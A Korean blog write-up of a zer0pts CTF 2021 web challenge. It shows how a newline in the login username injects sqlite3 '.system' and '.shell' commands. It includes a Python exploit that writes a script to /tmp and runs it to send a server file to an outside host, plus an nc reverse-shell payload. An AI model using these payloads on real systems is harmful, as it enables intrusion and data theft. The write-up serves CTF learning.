반응형
풀이
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Welcome</title>
</head>
<body>
<h1>Welcome, {{name}}!</h1>
{% if name == 'admin' %}
<p>zer0pts{*****CENSORED*****}</p>
{% else %}
<p>No flag for you :(</p>
{% endif %}
</body>
</html>
해당 페이지에 admin
으로 로그인을 하면 flag를 알려준다.
@app.route('/login', methods=['post'])
def auth():
username = flask.request.form.get('username', default='', type=str)
password = flask.request.form.get('password', default='', type=str)
if len(username) > 32 or len(password) > 32:
flask.session['msg'] = 'Too long username or password'
return flask.redirect(flask.url_for('home'))
password_hash = hashlib.sha256(password.encode()).hexdigest()
result = None
try:
result = sqlite3_query(
'SELECT * FROM users WHERE username="{}" AND password="{}";'
.format(sqlite3_escape(username), password_hash)
)
except:
pass
if result:
flask.session['name'] = username
else:
flask.session['msg'] = 'Invalid Credential'
return flask.redirect(flask.url_for('home'))
def sqlite3_escape(s):
return re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s)
로그인을 보면 SQL Injection이 발생할 수 있게 query를 작성하였다.
그러나 password는 hash를 하기때문에 조작이 어렵다.
아이디는 escape 함수를 이용해 필터링을 한다.
"
를 사용하면 \"
로 바뀌기 때문에
select * from users where username="\"\; " and password="a"
def sqlite3_query(sql):
p = subprocess.Popen(['sqlite3', 'database.db'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
o, e = p.communicate(sql.encode())
if e:
raise Exception(e)
result = []
for row in o.decode().split('\n'):
if row == '': break
result.append(tuple(row.split('|')))
return result
만약 에러가 발생하면, 예외발생!!
필터링 때문에 무조건 에러가 발생하게된다.
그러나 ;
와 \n
을 이용하면 에러 이외에도 추가적인 명령어를 사용할 수 있다.
select * from users where username="\"\;\n.table\n
를 사용하면 두 개의 명령어가 다 실행된다.
sqlite 명령어를 보면, 시스템 쉘로 입력한 명령어를 실행시켜준다.
이를 통해서 리버스 쉘을 실행시킬 수 있다면, 서버에 접근할 수 있다.
Exploit
import requests
URL = 'http://web.ctf.zer0pts.com:8004'
# URL = "http://192.168.0.29:8888"
script = "import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',9999));s.send(open('/home/app/templates/index.html','rb').read())"
def run(cmd):
payload = {
'username': '";\n.system {}\n'.format(cmd),
'password': 'test'
}
requests.post(f'{URL}/login', data=payload)
run('printf "">/tmp/hal')
for c in script:
run('printf "{}">>/tmp/hal'.format(c))
run("python /tmp/hal")
#################################################################
payload = {
'username': '";\n.shell nc [ip] 9 -e sh\n',
'password': 'test'
}
requests.post(f'{URL}/login', data=payload)
- tmp 경로에 파일을 하나 생성
- python 코드를 1byte씩 쓴다.
- python으로 해당 파일을 실행시킨다.
이 외에도 ";\n.system nc ip port -e sh\n
이런 방법으로도 가능하다. 그러나 32자리가 넘으면 안되므로 ip를 int 형으로 바꿔 32가 넘지 않도록한다.
Flag
zer0pts{w0w_d1d_u_cr4ck_SHA256_0f_my_p4$$w0rd?}
반응형
'CTF(Capture The Flag) > zeroptf 2021' 카테고리의 다른 글
safe_vector (0) | 2021.04.07 |
---|---|
GuestFS:AFR (0) | 2021.03.12 |
OneShot (0) | 2021.03.12 |
stopwatch (0) | 2021.03.12 |
Not Beginner's Stack (0) | 2021.03.12 |